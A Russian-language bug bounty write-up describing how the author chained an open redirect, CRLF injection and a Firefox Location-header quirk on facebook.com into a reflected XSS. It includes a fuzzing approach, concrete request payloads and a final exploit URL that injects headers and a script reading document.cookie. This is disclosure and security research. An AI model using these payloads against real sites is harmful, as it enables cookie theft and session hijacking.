Будни багхантинга: еще одна уязвимость в Facebook
Декабрь для меня получился наиболее удачным за четыре года участия в разнообразных программах bug bounty, и я хотел бы поделиться информацией об одной из обнаруженных уязвимостей. Речь пойдет о небезопасной обработке Request-URI (Request Target). На этот раз красивой комбинацией уязвимостей порадовал Facebook.Разработчики привыкли не доверять данным, полученным от пользователя через параметры GET / POST / Cookie, но зачастую игнорируют тот факт, что опасные данные могут содержаться и в других частях HTTP-запроса, например, в пути к сценарию или path_info. Для автоматизации обнаружения таких проблем был написан небольшой плагин для Burp Suite, который прослушивает все запросы Burp Proxy и, если URL находится в определенном скоупе, повторяет оригинальный запрос, изменяя только Request-URI.
То есть, для запроса:
GET /foo/bar.baz? param=value HTTP/1.1
Будут отправлены такие повторы:
GET /3fb5e7a4f814d790'»<>/%2e%2e/foo/bar.baz? param=value HTTP/1.1
GET /foo/3fb5e7a4f814d790'»<>/%2e%2e/bar.baz? param=value HTTP/1.1
GET /foo/bar.baz/3fb5e7a4f814d790'»<>/%2e%2e/? param=value HTTP/1.1
GET /foo/bar.baz/3fb5e7a4f814d790'»<>? param=value HTTP/1.1
В случае, если в HTTP-ответе присутствует случайная строка из запроса или текст какой-либо ошибки, то запрос складывается в лог, который потом разбирается вручную. В качестве списка ошибок можно использовать слегка измененный список из fuzzdb.Выглядит это все примерно так: 
Как и многие другие интересные и неожиданные уязвимости, проблемы на сайте Facebook я обнаружил случайно. Когда я участвовал в программах bug bounty от Яндекса и Mail.ru, на одной из посещенных страниц оказался запрос к сценарию https://www.facebook.com/tr (сценарий, относящийся к рекламе для веб-сайтов). Данный запрос был успешно проверен плагином и в лог попала запись о выводе Request-URI в HTTP-ответ.
GET /test/%2e%2e/tr HTTP/1.1 Host: www.facebook.com
HTTP/1.1 301 Moved Permanently Location: /test/…/tr/
В первую очередь при таком ответе необходимо обратить внимание на следующие моменты:1) Request-URI стоит в начале ссылки для перенаправления, значит необходимо проверить Open Redirect через URL без указания http-схемы (например, Location: //evil.com/…/tr).2) Путь не был нормализован, но точки в ответе прошли URL-декодирование, значит тут может быть CRLF Injection за счет декодирования символов %0d%0a.
Проверяем следующие запросы:
GET //////www.google.com/%2e%2e/tr HTTP/1.1 Host: www.facebook.com
HTTP/1.1 301 Moved Permanently Location: /www.google.com/…/tr/
Facebook успешно урезает начальные »/» до одного, но так как мы имеем URL-декодирование, это легко обходится следующим образом (многие веб-серверы крайне недолюбливают использование URL-кодированных »/» в пути, но в этот раз повезло): GET /%2fwww.google.com/%2e%2e/tr HTTP/1.1 Host: www.facebook.com
HTTP/1.1 301 Moved Permanently Location: //www.google.com/…/tr/ Для того чтобы браузер не нормализовал путь и не вырезал добавленную конструкцию при отправлении запроса, необходимо закодировать также и остальные »/». В итоге получен первый вариант эксплуатации обнаруженной уязвимости.Open Redirect: https://www.facebook.com/%2fwww.google.com%2f%2e%2e/tr
Проверяем предположение о наличии CRLF Injection / HTTP Response Splitting и очень удивляемся, что на Facebook, измученном тысячами багхантеров, можно встретить и такое.
GET /%0aSet-Cookie: xxx=xxx%0aX:/%2e%2e/tr HTTP/1.1 Host: www.facebook.com
HTTP/1.1 301 Moved Permanently Location: / Set-Cookie: xxx=xxx X: /…/tr/
CRLF Injection: https://www.facebook.com/%0aSet-Cookie: xxx=xxx%0aX:%2f%2e%2e/trНа этом моменте я уже хотел писать отчет в Facebook, но мысль о получении заветного alert ('XSS') не давала покоя. Основная проблема была в том, что несмотря на возможность переписать тело HTTP-ответа через CRLF Injection браузер не отобразит его из-за того, что инъекция в ответе c кодом 301 и корректным заголовком Location. С похожей проблемой столкнулся автор статьи об XSS на Хабрахабре.
Конечно, эта CRLF Injection не бесполезная и ее можно попробовать использовать в комбинации с другими уязвимостями типа Session Fixation или для обхода каких-либо проверок cookie-значений… Но неожиданно я вспомнил, что уже задавался подобным вопросом два года назад и даже получил кое-какие результаты. В некоторых случаях возможно заблокировать перенаправление и отобразить тело ответа, испортив значение заголовка Location.
Opera <= 12 URL-схемы: data, javascript, file, aboutДлинный host: http://aaa[..256..]aaa/Некорректный порт: http://test:0/Некорректные символы: http://*/Пустой заголовок FireFox URL-схемы, требующие стороннего приложения: resource, mailto, callto, …Некоторые порты: http://test:X/ (X - 1,7,9,11,13,15,17,19,20,21,22,23,25,…) Chrome Пустой заголовок Как можно заметить, все найденные методы основаны на контроле начала URL для перенаправления. То есть если бы заголовок Location начинался с абсолютной ссылки https://www.facebook.com/, это бы полностью убило возможность поэксплуатировать XSS.Объединим все полученные идеи. За счет Open Redirect, описанного в начале, можно указать некорректный порт в ссылке без указания http-схемы. Это заблокирует перенаправление и Firefox отобразит тело HTTP-ответа, которое, в свою очередь, можно подменить через CRLF Injection. Также необходимо отключить X-XSS-Protection и установить правильные значения Content-Type и Content-Length.
И финальный эксплоит:
https://www.facebook.com/%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type: text/html%0aContent-Length:39%0a%0a%3cscript%3ealert (document.cookie)%3c/script%3e%2F…%2F…%2F…%2F…/tr
Информация по схожим темам:
